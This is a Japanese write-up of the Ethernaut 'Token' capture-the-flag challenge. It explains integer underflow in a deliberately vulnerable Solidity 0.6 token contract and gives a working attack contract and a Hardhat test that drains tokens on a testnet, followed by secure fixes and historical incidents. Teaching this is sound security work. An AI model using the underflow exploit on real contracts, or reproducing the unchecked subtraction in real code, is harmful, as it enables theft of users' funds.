Appearance
スマートコントラクトの整数オーバーフロー脆弱性:Ethernaut「Token」チャレンジの詳細解説
はじめに
Ethereumスマートコントラクトのセキュリティは、ブロックチェーン開発において最も重要な課題の一つです。本記事では、OpenZeppelinが提供するEthernautプラットフォームの「Token」チャレンジを通じて、Solidityにおける整数オーバーフローという古典的でありながら危険な脆弱性について詳細に解説します。この脆弱性は、2018年のBECトークン事件など、実際のプロジェクトで重大な損失を引き起こした実績があります。
チャレンジ概要
問題設定
このチャレンジでは、基本的なERC20風トークンコントラクトが提供されています。プレイヤーは初期状態で20トークンを持っており、追加のトークンを獲得することが目標です。特に、大量のトークンを入手することが推奨されています。
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
技術的背景:整数オーバーフローの原理
Solidityの整数型
Solidityでは、整数型は固定サイズのビット列で表現されます。例えば:
uint8: 0〜255 (2⁸-1)uint256: 0〜2²⁵⁶-1
オーバーフローとアンダーフローのメカニズム
整数オーバーフローは、数値がその型が表現できる最大値を超えたときに発生します。逆に、整数アンダーフローは、数値が最小値(通常は0)を下回ったときに発生します。
例:uint8の場合
- 255 + 1 = 0 (オーバーフロー)
- 0 - 1 = 255 (アンダーフロー)
オドメーターの比喩
問題文で言及されている「オドメーター」は、この現象を理解するための優れた比喩です。自動車のオドメーターが最大値(通常999999)に達すると、次に0に戻るのと同じ原理です。
脆弱性の詳細分析
問題のコア:安全でない減算操作
Tokenコントラクトのtransfer関数には重大な脆弱性があります:
solidity
require(balances[msg.sender] - _value >= 0);
この行には2つの問題があります:
アンダーフローが発生する可能性:
balances[msg.sender]が_valueより小さい場合、減算結果は負の数になるはずですが、uint256は符号なし整数なので、代わりに巨大な正の数になります。チェックの不十分さ:
>= 0という条件は常に真になります。なぜなら、uint256型の値は常に0以上だからです。
具体的な攻撃シナリオ
攻撃者が20トークンを持っている状態で、21トークンを送金しようとすると:
balances[msg.sender] = 20
_value = 21
計算: 20 - 21 = 2²⁵⁶ - 1 (アンダーフロー発生)
Solidity 0.6.0では、この計算は自動的にアンダーフローを発生させ、結果は2²⁵⁶ - 1という巨大な数値になります。この値は明らかに0以上なので、require文は通過します。
攻撃実装の詳細
攻撃コントラクトの設計
以下の攻撃コントラクトは、脆弱性を悪用して大量のトークンを奪取します:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint256 balance);
}
contract Hack {
constructor(address _target, address _level) public {
// レベルコントラクトの残高をすべて奪取
IToken(_target).transfer(msg.sender, IToken(_target).balanceOf(_level));
}
}
攻撃の実行フロー
- 攻撃コントラクトをデプロイ
- コンストラクタで
transfer関数を呼び出し _valueパラメータにレベルコントラクトの残高を指定- アンダーフローを発生させてチェックを通過
- 攻撃者のアドレスにトークンを転送
テスト実装と検証
Hardhatテスト環境の設定
以下のTypeScriptテストコードは、攻撃が実際に機能することを検証します:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Token, Hack } from "../typechain-types";
describe("Token", function () {
describe("Token testnet sepolia", function () {
it("testnet sepolia Token transfer", async function () {
const TOKEN_ADDRESS = "0x...";
const TOKEN_ABI = [
"function transfer(address _to, uint256 _value) external returns (bool)",
"function balanceOf(address _owner) external view returns (uint256 balance)",
];
const challenger = await ethers.getNamedSigner("deployer");
const tokenContract = new ethers.Contract(TOKEN_ADDRESS, TOKEN_ABI, challenger);
const LEVEL_ADDRESS = "0x...";
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(TOKEN_ADDRESS, LEVEL_ADDRESS)) as Hack;
await hack.waitForDeployment();
const balanceChallenger = await tokenContract.balanceOf(challenger.address);
expect(balanceChallenger).to.be.equals(21000000);
});
});
});
脆弱性の根本原因と対策
Solidityバージョンの影響
このコントラクトはSolidity 0.6.0を使用しています。このバージョンでは:
- 整数のオーバーフロー/アンダーフローは自動的に発生
- 明示的なチェックが必要
Solidity 0.8.0以降では、デフォルトでオーバーフロー/アンダーフローがチェックされ、発生するとトランザクションがリバートします。
安全な実装方法
方法1:SafeMathライブラリの使用(Solidity 0.6.0〜0.7.x)
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract SecureToken {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
}
方法2:Solidity 0.8.0以降の組み込みチェック
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SecureToken {
mapping(address => uint256) balances;
uint256 public totalSupply;
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] >= _value, "Insufficient balance");
balances[msg.sender] -= _value; // 0.8.0以降では自動チェック
balances[_to] += _value;
return true;
}
}
方法3:明示的なチェック
solidity
function transfer(address _to, uint256 _value) public returns (bool) {
// 明示的に残高チェック
if (balances[msg.sender] < _value) {
revert("Insufficient balance");
}
// 安全な減算(チェック済み)
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to] + _value;
return true;
}
セキュリティベストプラクティス
1. 最新のSolidityバージョンを使用
- 常に最新の安定版Solidityを使用
- セキュリティ修正が組み込まれている
2. オープンゼップリンのコントラクトを利用
- 実績のあるライブラリを使用
- コミュニティによる監査済み
3. 包括的なテストの実施
- 境界値テスト(最小値、最大値付近)
- 異常系テスト
- ファジングテスト
4. 静的解析ツールの活用
- Slither
- MythX
- Solhint
5. 外部監査の実施
- 専門家によるコードレビュー
- 形式検証の適用
歴史的な事例
BECトークン事件(2018年)
美図公司のBECトークンで同様の整数オーバーフロー脆弱性が発見され、約30億ドル相当のトークンが不正に生成されました。この事件は、スマートコントラクトのセキュリティの重要性を世界に知らしめるきっかけとなりました。
Proof of Weak Hands Coin(POWH)事件
「ポンジスキーム」コントラクトで整数オーバーフローが悪用され、866エーテル(当時約100万ドル)が盗難されました。
まとめ
Ethernautの「Token」チャレンジは、整数オーバーフロー/アンダーフローという基本的ながら危険な脆弱性を学ぶ優れた教材です。この脆弱性は、以下の点で重要です:
- 歴史的重要性:実際のプロジェクトで何度も重大な損失を引き起こした
- 教育的価値:スマートコントラクトセキュリティの基本を学べる
- 実用的関連性:現代の開発でも古いコードや適切でない実装で発生しうる
開発者は常に:
- 最新のSolidityバージョンを使用する
- オープンゼップリンのSafeMathや類似の安全な数学ライブラリを利用する
- 包括的なテストを実施する
- 静的解析ツールを活用する
ことを心がけるべきです。スマートコントラクトのセキュリティは、単なるコードの正確さではなく、ユーザーの資産とブロックチェーンエコシステム全体の信頼性を守る重要な要素です。